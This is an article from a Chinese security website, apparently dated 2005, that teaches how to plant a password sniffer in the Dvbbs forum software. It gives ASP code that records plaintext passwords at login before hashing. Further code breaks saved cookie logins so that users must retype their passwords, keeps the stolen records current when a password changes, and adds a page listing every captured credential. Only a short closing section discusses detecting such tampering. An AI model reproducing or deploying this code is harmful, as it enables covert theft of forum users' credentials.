通行证│用户名: 密码: 验证码: 验证码,看不清楚?请点击刷新验证码 电信网通铁通移动   在线
文章搜索:
热门搜索:红客 黑鹰 红客技术 安全动画 红客培训
首页 文章 软件 动画 资源 励志 论坛 邮箱 会员 军事 科技 博客 爱心红客 最近更新 800g资源
 业内新闻 漏洞公告 病毒公告 电脑知识 网络知识 菜鸟入门 攻防教程 黑客攻防 安全编程 工具使用 综合安全 个人安全 安全相关 Q Q安全 原创精华 红客人物 站内事件
您现在的位置: 爱国者安全网 >> 文章类 >> 原创精华 >> 文章正文
为动网论坛添加一个密码嗅探器
责任编辑:古典辣M°   更新日期:2005-11-15
 

动网先锋论坛,凭借其强大全面的功能,再加上它免费提供给个人用户,在网络众多论坛中,独树一帜。很多人都把它作为自己论坛的最佳首选。但是新版本的论坛,对用户密码采用了不可逆的MD5加密,即使是管理员,也无法查询到个人用户的密码。再数据库中只能查询了加密后的结果。

先描述一下它得登陆过程,用户输入帐号后号,调用MD5函数,输入的密码加密,然后比较存储在数据库的数据和密码加密的结果是否相同。如果相同,登陆成功,将个人信息保存在COOKIE中。
现在我们要自己动手,为论坛增加一项记录密码的功能。

查看它登陆系统的文件 login.asp 的源文件。验证过程是直接调用chklogin() 函数的。跟进chklogin() 函数,可以看到前面几句是检查用户是否完整输入,接着就是:
password=md5(trim(checkStr(request("password"))))
就是这句调用了MD5加密函数,对用户提交的密码加密。我们要记录未加密的代码,就需要把自己的代码加到这一句的前面。先别急着写代码,因为我们要把密码存贮在数据库中,所以要先在数据库中假如我们自己的表。
打开动网数据库文件,因为我们只要在这个表中保存两项内容:用户名和密码,所以打开“使用设计器创建表”,字段名称分别输入user,pass,数据类型为文本。然后保存表,取名为hacker。

下面我们就可以在ASP程序中使用SQL命令,把用户名和密码添加到我们刚才创建的表中去。我们只要在上面那段代码前面加上下面这两句:
‘先查询数据库,检查该用户的密码是否已经被记录,以避免重复添加
set rs=conn.execute("select user from hacker where user="&request("username")&"")
if rs.eof and rs.bof then
‘如果没有,就把用户名和密码插入到我们刚才创建的表中
sql="insert into hacker (user,pass) values ("&request("username")&","&request("password")&")"
conn.execute(sql)
rs.close
else
end if
通过上面的代码,用户每次登陆的时候,用户名和密码就都会被自动添加到我们创建的表hacker中去了。
但是,动网论坛还有个功能,就是可以利用COOKIE保存登陆信息一天,一个月,或者一年,这样就不用每次访问都要输入账号了,当然我们也不想让这一部分用户的密码漏掉,所以我们要想办法让它的COOKIE失效,这样他就必须通过我们修改过的文件登陆了。
动网论坛对COOKIE检查的代码是保存在 \INC\const.asp 文件中的,我们打开查看它的源文件。
membername=checkStr(request.cookies("aspsky")("username"))
memberclass=checkStr(request.cookies("aspsky")("userclass"))
memberword=checkStr(request.cookies("aspsky")("password"))
[$nbsp][$nbsp][$nbsp][$nbsp]这三句就是用来检查保存在用户COOKIE中的信息的,我们只要改变任意一个变量,就可让它的登陆失效。我就在第二句后面添加了下面这几句代码:
‘检查用户的账号是否已经被记录,如果没有,修改它的密码变量为用户名
set rs=conn.execute("select user from hacker where user="&membername&"")
if rs.eof and rs.bof then
memberword=checkStr(request.cookies("aspsky")("username"))
rs.close
else
‘如果已经被记录了,COOKIE验证一切正常,这样也就不会因为COOKIE彻底失效而引起用户的怀疑
memberword=checkStr(request.cookies("aspsky")("password"))
end if
记录用户账号的代码我们基本上就完成了,只要用户一登陆,他的账号就会直接加入我们的数据库中了。不过我们还漏掉了一点,就是如果用户修改了密码,我们记录的密码就过期了,我们的记录程序是无法判断密码是否被修改的。所以我们还要继续改造我们修改密码的程序modifypsw.asp
rs("userpassword")=password
rs("quesion")=quesion
rs("answer")=answer
rs.Update
上面这段代码就是更新密码的代码了。我们分析一下:只有用户登陆后才可以修改密码,既然登陆了,我们的数据库中就一定记录得他的密码,所以不管他密码改成什么,我们只需要更新一下我们的数据库就行了,所以在上面这四句代码前面,加上下面这两句:
[$nbsp][$nbsp]‘注意,这里我们之所以不用变量password,因为它是经过MD5加密的结果
sql = "update hacker set pass="&request("psw")&" where user="&membername&""
conn.execute(sql)
最后我们不可能每次打开数据库去查询用户的密码,所以我们还要自己写一个asp程序,用来通过WEB界面查询用户的密码。
下面是我自己写的asp代码,借用了动网论坛用来模糊查询的一个函数。可以直接搜索用户名获取账号或者显示全部记录了的账号。

<!--#include file="conn.asp"-->
<!--#include file="inc/const.asp" -->
<%
动网用来模糊查询的函数translate()
public function translate(sourceStr,fieldStr)
[$nbsp][$nbsp]dim sourceList
[$nbsp][$nbsp]dim resultStr
[$nbsp][$nbsp]dim i,j
[$nbsp][$nbsp]if instr(sourceStr," ")>0 then
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]dim isOperator
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]isOperator = true
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]sourceList=split(sourceStr)
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]--------------------------------------------------------
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]rem Response.Write "num:" & cstr(ubound(sourceList)) & "<br>"
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]for i = 0 to ubound(sourceList)
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]rem Response.Write i
[$nbsp][$nbsp][$nbsp][$nbsp]Select Case ucase(sourceList(i))
[$nbsp][$nbsp][$nbsp][$nbsp]Case "AND","&","和","与"
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]resultStr=resultStr & " and "
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]isOperator = true
[$nbsp][$nbsp][$nbsp][$nbsp]Case "OR","|","或"
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]resultStr=resultStr & " or "
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]isOperator = true
[$nbsp][$nbsp][$nbsp][$nbsp]Case "NOT","!","非","!","!"
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]resultStr=resultStr & " not "
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]isOperator = true
[$nbsp][$nbsp][$nbsp][$nbsp]Case "(","(","("
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]resultStr=resultStr & " ( "
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]isOperator = true
[$nbsp][$nbsp][$nbsp][$nbsp]Case ")",")",")"
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]resultStr=resultStr & " ) "
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]isOperator = true
[$nbsp][$nbsp][$nbsp][$nbsp]Case Else
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]if sourceList(i)<>"" then
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]if not isOperator then resultStr=resultStr & " and "
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]if inStr(sourceList(i),"%") > 0 then
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]resultStr=resultStr&" "&fieldStr& " like " & replace(sourceList(i),"","") & " "
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]else
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]resultStr=resultStr&" "&fieldStr& " like %" & replace(sourceList(i),"","") & "% "
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]end if
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]isOperator=false
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]End if
[$nbsp][$nbsp][$nbsp][$nbsp]End Select
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]rem Response.write resultStr+"<br>"
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]next
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]translate=resultStr
[$nbsp][$nbsp]else 单条件
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]if inStr(sourcestr,"%") > 0 then
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]translate=" " & fieldStr & " like " & replace(sourceStr,"","") &" "
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]else
[$nbsp][$nbsp][$nbsp][$nbsp]translate=" " & fieldStr & " like %" & replace(sourceStr,"","") &"% "
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]End if
[$nbsp][$nbsp]end if
end function
%>
<%
‘检查是否使用模糊查询,如果是,查询数据
if request.form("id") <> "" then
dim key
key = request.form("id")
set rs=conn.execute("select user,pass from hacker where (" & translate(key,"user") & ")")
‘检查是否查询所有账号,如果是,查询所有记录
else if request.querystring("id") <> "all" then
else
set rs=conn.execute("select * from hacker")
end if
end if

%>

<div align="center">
[$nbsp][$nbsp]<p><strong>查询密码</strong></p>
[$nbsp][$nbsp]<form name="form1" method="post" action="">
[$nbsp][$nbsp][$nbsp][$nbsp]用户名:
[$nbsp][$nbsp][$nbsp][$nbsp]<input name="id" type="text" size="12">
[$nbsp][$nbsp][$nbsp][$nbsp]  
[$nbsp][$nbsp][$nbsp][$nbsp]<input type="submit" name="Submit" value="搜索">
[$nbsp][$nbsp]</form>
[$nbsp][$nbsp]<p><a href="test.asp?id=all">显示全部 </a></p>
[$nbsp][$nbsp]<table width="300" border="1" cellspacing="0" cellpadding="0">
<%
‘检查是否查询账号,如果没有显示请选择查询方式,否则显示结果
if request.querystring("id") <> "" or request.form("id") <> "" then %><tr>
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]<td width="150"><div align="center">用户名</div></td>
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]<td width="150"><div align="center">密码</div></td>
[$nbsp][$nbsp][$nbsp][$nbsp]</tr>
<% Do while (not rs.eof) %><tr>
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]<td><% =rs("user") %></td>
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]<td><% =rs("pass") %></td>
[$nbsp][$nbsp][$nbsp][$nbsp]</tr>
[$nbsp][$nbsp]<% rs.MoveNext
[$nbsp][$nbsp] Loop
[$nbsp][$nbsp] rs.close
[$nbsp][$nbsp]else
[$nbsp][$nbsp]response.write("<tr><td><center>请选择查询方式</center></td></tr>")
[$nbsp][$nbsp]end if
[$nbsp][$nbsp] %>
[$nbsp][$nbsp]</table>
</div>
[$nbsp][$nbsp][$nbsp][$nbsp]效果如图:

其它的一些思考:
如果服务器被黑客入侵,我们也必须防范论坛被修改,成为别人获取密码的工具,所以我们要考虑到黑客常用的手段。
首先是数据库,我们要随时检查数据库是否完整,而且要做到及时辈分。现在网络上流行一种把数据库后缀名改为asp,数据库中再加入一个不可删除的表,可以有效的防止数据库被别人下载。换一种角度来说,黑客很有可能把他自己的数据库文件后缀名改为asp,从而掩藏在众多的文件中。而一般没有经验的管理员是很难发现的,所以要定期对整个网站的文件进行检查,如果无故多出来的asp文件,很有可能是只背后的黑手。
黑客不仅可以放上自己的asp文件,聪明的黑客还会把自己的asp文件隐藏在已有的asp文件中。利用浏览器可以向asp文件传送querystring变量,如果asp中设定一个条件语句:if query.string(“变量”) = “” then…… 这个简单的方法可以说是防不胜防。一般的管理员由于数据库的便捷,是很少考虑到检查服务器上的文件是否被修改的。所以定期检查文件是否被修改也是非常有必要的。

 

  • 上一篇文章:
  • 下一篇文章:
  • 最近更新
    固顶文章 爱国者安全网2007年度优秀版主评选
    普通文章 瑞星公司01月11日发布 每日计算机病毒及木马播报
    普通文章 破解博彩神助(专注彩票) V2.8.01
    推荐文章 推荐:跨站脚本执行漏洞代码的六点思路
    普通文章 Windows系统下的远程堆栈溢出 实战篇
    普通文章 Windows系统下的远程堆栈溢出 原理篇
    普通文章 MsSQLServer是如何加密口令的
    普通文章 浅谈国内的渗透评估过程
    普通文章 Dvbbs8.1 0DAY(通杀Access和mssql版本)
    普通文章 微软:我们的代码比赛门铁克更安全
    热门文章
    普通文章REAL蛀虫利用播放器漏洞下载恶意程序
    普通文章李彦宏:中国要在互联网领域逐渐超越美国
    普通文章马云:阿里巴巴的成功是一个生态链的成功
    普通文章Ingres用户认证非授权访问漏洞
    普通文章TCPreen FD_SET()函数远程栈溢出漏洞
    普通文章Winace UUE文件解压堆溢出漏洞
    普通文章Pclxav木马猎手第一代特征码引擎源代码
    普通文章IE收藏夹管理小精灵算法分析
    普通文章Extra Drive Pro算法分析历程
    普通文章雨过天晴自我注册
    精彩专题